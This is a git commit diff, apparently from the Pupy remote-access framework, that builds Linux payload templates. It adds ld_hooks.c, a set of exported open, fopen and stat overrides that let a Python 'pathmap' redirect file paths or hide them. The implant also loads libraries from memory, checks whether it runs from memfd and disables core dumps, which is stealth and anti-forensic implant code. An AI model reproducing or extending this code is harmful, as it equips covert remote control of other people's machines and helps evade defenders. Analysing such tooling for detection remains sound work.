[WIP] Create skeleton which works for both shared and app

This commit is contained in:
Oleksii Shevchuk 2019-12-22 13:05:31 +02:00
parent 8ef1ff7b7a
commit d3deb41517
10 changed files with 444 additions and 43 deletions

2
.gitignore vendored
View File

@ -8,6 +8,8 @@ client/sources/import-tab.c
client/sources/import-tab.h
client/sources/revision.h
client/sources-linux/revision.h
client/sources-linux/ld_hooks_64.c
client/sources-linux/ld_hooks_64d.c
client/android_sources/buildozer.spec
# Compiled files

View File

@ -57,7 +57,9 @@ DEBUG_ADD := -debug
CFLAGS += -DDEBUG -O0 -g
LDFLAGS += -g
NAME := "$(NAME)d"
DEBUG_OBJS := debug.o
else
DEBUG_OBJS :=
CFLAGS += -Os
ifeq ($(OS),Linux)
LDFLAGS += -O1 -Wl,-s -Wl,-x -Wl,--gc-sections -Wl,--no-undefined
@ -70,13 +72,12 @@ endif
PYTHON ?= python
TEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/
PYOBJS := pupy_load.o
SHARED_OBJS := main_so.o pupy_shared.o tmplibrary_lmid.o
APP_OBJS := main_exe.o pupy.o tmplibrary.o
SHARED_OBJS := main_so.o pupy_shared.o tmplibrary_lmid.o pupy_load_shared.o
APP_OBJS := main_exe.o pupy.o tmplibrary.o pupy_load.o ld_hooks.o
COMMON_OBJS := daemonize.o decompress.o
ifneq ($(DEBUG),)
COMMON_OBJS += debug.o
COMMON_OBJS += $(DEBUG_OBJS)
endif
ifeq ($(UNCOMPRESSED),)
@ -112,15 +113,31 @@ debug.o: ../common/debug.c ../common/debug.h
pupy.o: pupy.c revision.h ../common/Python-dynload.h import-tab.h
pupy_shared.o: pupy.c revision.h ../common/jni_on_load.c ../common/Python-dynload.h import-tab.h
$(CC) -c -o $@ $< $(CFLAGS) -D_PUPY_SO
$(CC) -c -o $@ $< $(CFLAGS) -D_PUPY_SO -D_LD_HOOKS_NAME=\"ld_hooks_$(NAME).so\" \
main_so.o: import-tab.h
main_exe.o: import-tab.h
pupy_load_shared.o: pupy_load.c \
resources/$(ARCH)/libssl.c resources/$(ARCH)/libcrypto.c \
resources/$(ARCH)/python27.c \
resources/$(ARCH)/library.c \
ld_hooks_$(NAME).c \
../common/Python-dynload.c ../common/Python-dynload.h \
../common/Python-dynload.c ../common/Python-dynload.h \
../common/LzmaDec.c ../common/LzmaDec.h ../common/lzmaunpack.c \
import-tab.h revision.h
$(CC) -c -o $@ $< $(CFLAGS) \
-D_LD_HOOKS_NAME=\"ld_hooks_$(NAME).so\" \
-D_LD_HOOKS_START=ld_hooks_$(NAME)_c_start \
-D_LD_HOOKS_SIZE=ld_hooks_$(NAME)_c_size \
-include "ld_hooks_$(NAME).c"
pupy_load.o: pupy_load.c \
resources/$(ARCH)/libssl.c resources/$(ARCH)/libcrypto.c \
resources/$(ARCH)/python27.c \
resources/$(ARCH)/library.c \
ld_hooks_$(NAME).c \
../common/Python-dynload.c ../common/Python-dynload.h \
../common/Python-dynload.c ../common/Python-dynload.h \
../common/LzmaDec.c ../common/LzmaDec.h ../common/lzmaunpack.c \
@ -143,6 +160,14 @@ resources/$(ARCH)/library.txt: ../gen_library_compressed_string.py resources/$(A
resources/$(ARCH)/library.c: ../gen_resource_header.py resources/$(ARCH)/library.txt resources/$(ARCH)/library.zip
$(PYTHON) $(PFLAGS) ../gen_resource_header.py resources/$(ARCH)/library.txt $@ $(COMPRESSED) $(XZARGS)
ld_hooks_$(NAME).c: ../gen_resource_header.py ld_hooks_$(NAME).so
$(PYTHON) $(PFLAGS) ../gen_resource_header.py ld_hooks_$(NAME).so $@ $(COMPRESSED) $(XZARGS)
ld_hooks_$(NAME).so: ld_hooks.c $(DEBUG_OBJS)
$(CC) $(CFLAGS) -shared $+ -o $@ $(LDFLAGS) \
-D_LD_HOOKS_NAME=\"$@\" \
-Wl,-soname,$@ \
-Wl,--no-undefined
injector/%.o: injector/%.c
$(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $<
@ -183,15 +208,15 @@ resources/$(ARCH)/libssl.c: ../gen_resource_header.py resources/$(ARCH)/libssl.s
resources/$(ARCH)/libcrypto.c: ../gen_resource_header.py resources/$(ARCH)/libcrypto.so
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX): $(APP_OBJS) $(PYOBJS) $(COMMON_OBJS)
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX): $(APP_OBJS) $(COMMON_OBJS)
$(CC) $(PIE) $+ -o $@ $(LDFLAGS) \
-Wl,--version-script=pupy.ldscript
-Wl,--version-script=pupy.ldscript \
-Wl,--export-dynamic
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX).so: $(SHARED_OBJS) $(PYOBJS) $(COMMON_OBJS)
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX).so: $(SHARED_OBJS) $(COMMON_OBJS)
$(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupyx$(NAME).$(SUFFIX).so \
-Wl,--version-script=pupy.so.ldscript
.PHONY: clean all
clean:
@ -202,6 +227,8 @@ clean:
distclean: clean
rm -f resources/*.c
rm -f resources/$(ARCH)/*.c
rm -f ld_hooks_$(NAME).c
rm -f ld_hooks_$(NAME).so
rm -f import-tab.c
rm -f import-tab.h
rm -f revision.h

View File

@ -10,26 +10,31 @@
#define FILE_SYSTEM_ENCODING "utf-8"
typedef void *HMODULE;
typedef void* (*resolve_symbol_t) (HMODULE hModule, const char *name);
typedef void *(*resolve_symbol_t)(HMODULE hModule, const char *name);
#ifndef OPENSSL_LIB_VERSION
#define OPENSSL_LIB_VERSION "1.0.0"
#define OPENSSL_LIB_VERSION "1.0.0"
#endif
#define DEPENDENCIES { \
{ \
"libcrypto.so." OPENSSL_LIB_VERSION, \
libcrypto_c_start, libcrypto_c_size, FALSE \
}, \
{ \
"libssl.so." OPENSSL_LIB_VERSION, \
libssl_c_start, libssl_c_size, FALSE \
}, \
{ \
"libpython2.7.so.1.0", \
python27_c_start, python27_c_size, TRUE \
} \
}
#define DEPENDENCIES \
{ \
{ \
"libcrypto.so." OPENSSL_LIB_VERSION, \
libcrypto_c_start, \
libcrypto_c_size, \
FALSE \
}, { \
"libssl.so." OPENSSL_LIB_VERSION, \
libssl_c_start, \
libssl_c_size, \
FALSE \
}, { \
"libpython2.7.so.1.0", \
python27_c_start, \
python27_c_size, \
TRUE \
} \
}
#define OSLoadLibary(name) dlopen(name, RTLD_NOW)
#define OSResolveSymbol dlsym
@ -39,9 +44,10 @@ typedef void* (*resolve_symbol_t) (HMODULE hModule, const char *name);
#define MemResolveSymbol dlsym
#define CheckLibraryLoaded(name) dlopen(name, RTLD_NOW | RTLD_NOLOAD)
static const char *OSGetProgramName() {
static const char *OSGetProgramName()
{
static BOOL is_set = FALSE;
static char exe[PATH_MAX] = { '\0' };
static char exe[PATH_MAX] = {'\0'};
if (is_set)
return exe;
@ -49,13 +55,18 @@ static const char *OSGetProgramName() {
#if defined(Linux)
dprint("INVOCATION NAME: %s\n", program_invocation_name);
if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0) {
if (strstr(exe, "/memfd:")) {
snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid());
if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0)
{
if (strstr(exe, "/memfd:"))
{
snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid());
}
} else {
}
else
{
char *upx_env = getenv(" ");
if (upx_env) {
if (upx_env)
{
snprintf(exe, sizeof(exe), "%s", upx_env);
}
}
@ -69,8 +80,6 @@ static const char *OSGetProgramName() {
}
#include "python27.c"
#include "libssl.c"
#include "libcrypto.c"
#include "libssl.c"
#include "tmplibrary.h"

View File

@ -0,0 +1,252 @@
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <stdarg.h>
#include <sys/types.h>
#include <errno.h>
#include "debug.h"
#include "ld_hooks.h"
#define export __attribute__((visibility("default")))
static int (*global_open)(const char *pathname, int flags, ...) = NULL;
static int (*global_open64)(const char *pathname, int flags, ...) = NULL;
static int (*global_openat)(int dirfd, const char *pathname, int flags, ...) = NULL;
static int (*global_openat64)(int dirfd, const char *pathname, int flags, ...) = NULL;
static FILE *(*global_fopen)(const char *pathname, const char *mode) = NULL;
static FILE *(*global_fopen64)(const char *pathname, const char *mode) = NULL;
static int (*global__lxstat)(int ver, const char * path, struct stat* stat_buf) = NULL;
static int (*global__xstat)(int ver, const char * path, struct stat * stat_buf) = NULL;
static int (*global__lxstat64)(int ver, const char * path, struct stat64 * stat_buf) = NULL;
static int (*global__xstat64)(int ver, const char * path, struct stat64 * stat_buf) = NULL;
static cb_hooks_t __pathmap_callback = NULL;
#ifndef O_TMPFILE
#define O_TMPFILE 020000000
#endif
#ifndef PATH_MAX
#define PATH_MAX 4096
#endif
#ifdef _LD_HOOKS_NAME
export
#endif
void set_pathmap_callback(cb_hooks_t cb)
{
__pathmap_callback = cb;
dprint("ldhooks:set_callback(%p)\n", __pathmap_callback);
}
#define define_mapped_path(mapped_path, path) \
char buf[PATH_MAX] = {}; \
const char *mapped_path = __pathmap_callback? \
__pathmap_callback(path, buf, sizeof(buf)) : path
export int __lxstat(int ver, const char * path, struct stat* stat_buf)
{
define_mapped_path(mapped_path, path);
dprint("ldhooks:__lxstat(%d, %s (%s), %p) @ %p\n", ver, path, mapped_path,
stat_buf, __pathmap_callback);
if (!global__lxstat || !mapped_path) {
errno = ENOENT;
return -1;
}
return global__lxstat(ver, mapped_path, stat_buf);
}
export int __lxstat64(int ver, const char * path, struct stat64* stat_buf)
{
define_mapped_path(mapped_path, path);
dprint("ldhooks:__lxstat64(%d, %s (%s), %p) @ $p\n", ver, path,
mapped_path, stat_buf, __pathmap_callback);
if (!global__lxstat || !mapped_path) {
errno = ENOENT;
return -1;
}
return global__lxstat64(ver, mapped_path, stat_buf);
}
export int __xstat(int ver, const char * path, struct stat* stat_buf)
{
define_mapped_path(mapped_path, path);
dprint("ldhooks:__xstat(%d, %s (%s), %p)\n", ver, path, mapped_path, stat_buf);
if (!global__xstat || !mapped_path) {
errno = ENOENT;
return -1;
}
return global__xstat(ver, mapped_path, stat_buf);
}
export int __xstat64(int ver, const char * path, struct stat64* stat_buf)
{
define_mapped_path(mapped_path, path);
dprint("ldhooks:__xstat64(%d, %s (%s), %p)\n", ver, path, mapped_path, stat_buf);
if (!global__xstat) {
errno = ENOENT;
return -1;
}
return global__xstat64(ver, mapped_path, stat_buf);
}
export int open(const char *pathname, int flags, ...)
{
int ret = -1;
va_list args;
va_start(args, flags);
define_mapped_path(mapped_path, pathname);
dprint("ldhooks:open(%s (%s), %08x)\n", pathname, mapped_path, flags);
if (!global_open || !mapped_path) {
errno = ENOENT;
} else {
if (flags & (O_CREAT | O_TMPFILE)) {
mode_t mode = va_arg(args, mode_t);
ret = global_open(mapped_path, flags, mode);
} else {
ret = global_open(mapped_path, flags);
}
}
va_end(args);
return ret;
}
export int open64(const char *pathname, int flags, ...)
{
int ret = -1;
va_list args;
va_start(args, flags);
define_mapped_path(mapped_path, pathname);
dprint("ldhooks:open64(%s (%s), %08x)\n", pathname, mapped_path, flags);
if (!global_open64 || !mapped_path) {
errno = ENOENT;
} else {
if (flags & (O_CREAT | O_TMPFILE)) {
mode_t mode = va_arg(args, mode_t);
ret = global_open64(mapped_path, flags, mode);
} else {
ret = global_open64(mapped_path, flags);
}
}
va_end(args);
return ret;
}
export int openat(int dirfd, const char *pathname, int flags, ...)
{
int ret = -1;
va_list args;
va_start(args, flags);
define_mapped_path(mapped_path, pathname);
dprint("ldhooks:openat(%d, %s (%s), %08x)\n", dirfd, mapped_path, pathname, flags);
if (!global_openat || !mapped_path) {
errno = ENOENT;
} else {
if (flags & (O_CREAT | O_TMPFILE)) {
mode_t mode = va_arg(args, mode_t);
ret = global_openat(dirfd, mapped_path, flags, mode);
} else {
ret = global_openat(dirfd, mapped_path, flags);
}
}
va_end(args);
return ret;
}
export int openat64(int dirfd, const char *pathname, int flags, ...)
{
int ret = -1;
va_list args;
va_start(args, flags);
define_mapped_path(mapped_path, pathname);
dprint("ldhooks:openat64(%d, %s (%s), %08x)\n", dirfd, pathname, mapped_path, flags);
if (!global_openat64 || !mapped_path) {
errno = ENOENT;
} else {
if (flags & (O_CREAT | O_TMPFILE)) {
mode_t mode = va_arg(args, mode_t);
ret = global_openat64(dirfd, mapped_path, flags, mode);
} else {
ret = global_openat64(dirfd, mapped_path, flags);
}
}
va_end(args);
return ret;
}
export FILE *fopen(const char *pathname, const char *mode)
{
define_mapped_path(mapped_path, pathname);
dprint("ldhooks:fopen(%s (%s), %s)\n", pathname, mapped_path, mode);
if (!global_fopen || !mapped_path) {
errno = ENOENT;
return NULL;
}
return global_fopen(mapped_path, mode);
}
export FILE *fopen64(const char *pathname, const char *mode)
{
define_mapped_path(mapped_path, pathname);
dprint("ldhooks:fopen64(%s (%s), %s) @ %p\n", pathname,
mapped_path, mode, __pathmap_callback);
if (!global_fopen64 || !mapped_path) {
errno = ENOENT;
return NULL;
}
return global_fopen64(mapped_path, mode);
}
#ifdef _LD_HOOKS_NAME
static
#endif
void _ld_hooks_main(int argc, char *argv[], char *envp[])
{
dprint("ldhooks: initialize targets\n");
global_fopen = dlsym(RTLD_NEXT, "fopen");
global_fopen64 = dlsym(RTLD_NEXT, "fopen64");
global_open = dlsym(RTLD_NEXT, "open");
global_open64 = dlsym(RTLD_NEXT, "open64");
global_openat = dlsym(RTLD_NEXT, "openat");
global_openat64 = dlsym(RTLD_NEXT, "openat64");
global__lxstat64 = dlsym(RTLD_NEXT, "__lxstat64");
global__lxstat = dlsym(RTLD_NEXT, "__lxstat");
global__xstat64 = dlsym(RTLD_NEXT, "__xstat64");
global__xstat = dlsym(RTLD_NEXT, "__xstat");
}
#ifdef _LD_HOOKS_NAME
__attribute__((section(".init_array"))) void (*ld_hooks_main)(int, char *[], char *[]) = _ld_hooks_main;
#endif

View File

@ -0,0 +1,13 @@
#ifndef LD_HOOKS_H
#define LD_HOOKS_H
#include <sys/types.h>
typedef const char * (*cb_hooks_t)(const char *path, char *buf, size_t buf_size);
void set_pathmap_callback(cb_hooks_t cb);
#ifndef _LD_HOOKS_NAME
void _ld_hooks_main(int argc, char *argv[], char *envp[]);
#endif
#endif

View File

@ -3,11 +3,14 @@
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <dlfcn.h>
#include <limits.h>
#include "debug.h"
#include "Python-dynload.h"
@ -21,11 +24,57 @@
#include "injector.h"
#endif
#include "ld_hooks.h"
#include "revision.h"
static const char module_doc[] = DOC("Builtins utilities for pupy");
static PyObject *ExecError;
static PyObject *py_pathmap = NULL;
#ifndef _LD_HOOKS_NAME
static
#endif
const char *__pathmap_callback(const char *path, char *buf, size_t buf_size)
{
PyObject* result = NULL;
char *c_result = NULL;
if (!strncmp(path, "f:", 2) ||
!strncmp(path, "pupy:/", 6) ||
!strncmp(path, "pupy/", 5))
{
dprint("__pathmap_callback(%s) -> pupy -> NULL\n");
return NULL;
}
if (!py_pathmap) {
dprint("__pathmap_callback: uninitialized (should not happen)\n");
return path;
}
result = PyDict_GetItemString(py_pathmap, path);
dprint("__pathmap_callback(%s) -> %p\n", path, result);
if (!result) {
return path;
}
if (result == Py_None) {
dprint("__pathmap_callback: None\n");
return NULL;
}
c_result = PyString_AsString(result);
if (!c_result) {
dprint("__pathmap_callback: Not a string object\n");
PyErr_Clear();
return path;
}
strncpy(buf, c_result, buf_size);
return buf;
}
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
{
@ -180,7 +229,7 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght))
return NULL;
printf("Py_load_dll(%s)\n", dllname);
dprint("Py_load_dll(%s)\n", dllname);
return PyLong_FromVoidPtr(memdlopen(dllname, lpDllBuffer, dwDllLenght, RTLD_LOCAL | RTLD_NOW));
}
@ -340,7 +389,15 @@ init_pupy(void) {
Py_INCREF(ExecError);
PyModule_AddObject(pupy, "error", ExecError);
py_pathmap = PyDict_New();
Py_INCREF(py_pathmap);
PyModule_AddObject(pupy, "pathmap", py_pathmap);
#ifdef _PUPY_SO
setup_jvm_class();
#endif
#ifndef _LD_HOOKS_NAME
set_pathmap_callback(__pathmap_callback);
#endif
}

View File

@ -1,3 +1,10 @@
{
global:
open; open64;
openat; openat64;
fopen; fopen64;
__lxstat; __lxstat64;
__xstat; __xstat64;
local: *;
};

View File

@ -21,25 +21,58 @@
#include "pupy_load.h"
#include "Python-dynload.c"
#include "revision.h"
#include "ld_hooks.h"
extern DL_EXPORT(void) init_pupy(void);
uint32_t mainThread(int argc, char *argv[], bool so) {
#ifdef _LD_HOOKS_NAME
const char *__pathmap_callback(const char *path, char *buf, size_t buf_size);
#endif
uint32_t mainThread(int argc, char *argv[], bool so)
{
struct rlimit lim;
dprint("TEMPLATE REV: %s\n", GIT_REVISION_HEAD);
if (getrlimit(RLIMIT_NOFILE, &lim) == 0) {
if (getrlimit(RLIMIT_NOFILE, &lim) == 0)
{
lim.rlim_cur = lim.rlim_max;
setrlimit(RLIMIT_NOFILE, &lim);
}
lim.rlim_cur = 0; lim.rlim_max = 0;
lim.rlim_cur = 0;
lim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &lim);
#ifndef _LD_HOOKS_NAME
_ld_hooks_main(argc, argv, NULL);
#else
void *ld_hooks = xz_dynload(
_LD_HOOKS_NAME, _LD_HOOKS_START, _LD_HOOKS_SIZE,
NULL
);
if (ld_hooks) {
void (*set_pathmap_callback)(cb_hooks_t cb) = dlsym(
ld_hooks, "set_pathmap_callback");
if (set_pathmap_callback) {
set_pathmap_callback(__pathmap_callback);
dprint("set_pathmap_callback: %p\n", set_pathmap_callback);
} else {
dprint("set_pathmap_callback not found\n");
}
} else {
dprint("set_pathmap_callback: " _LD_HOOKS_NAME " not found\n");
}
#endif
dprint("Initializing python...\n");
if (!initialize_python(argc, argv, so)) {
if (!initialize_python(argc, argv, so))
{
return -1;
}

View File

@ -493,7 +493,7 @@ int remap(const char *path) {
// For some unknown reason malloc doesn't work on newly created LM in Solaris 10
// Fallback to old shitty way of loading libs
// TODO: write own ELF loader
static void *_dlopen(int fd, const char *path, int flags, const char *soname) {
void *_dlopen(int fd, const char *path, int flags, const char *soname) {
void *handle = dlopen(path, flags | RTLD_PARENT | RTLD_GLOBAL);
if (fd != -1) {
@ -532,7 +532,7 @@ struct link_map_private {
/* ------------- .... and there much more ----------------- */
};
static void *_dlopen(int fd, const char *path, int flags, const char *soname) {
void *_dlopen(int fd, const char *path, int flags, const char *soname) {
void *handle = NULL;
#if defined(WIP_LMID)
@ -628,7 +628,7 @@ static void *_dlopen(int fd, const char *path, int flags, const char *soname) {
/* Linux x86 or any other thing */
static void *_dlopen(int fd, const char *path, int flags, const char *soname) {
void *_dlopen(int fd, const char *path, int flags, const char *soname) {
/* Try to fallback to symlink hack */

View File

@ -14,6 +14,7 @@
#endif
int _dlinfo(void *handle, int request, void *info);
void *_dlopen(int fd, const char *path, int flags, const char *soname);
void *memdlopen(const char *soname, const char *buffer, size_t size, int flags);
int drop_library(char *path, size_t path_size, const char *buffer, size_t size);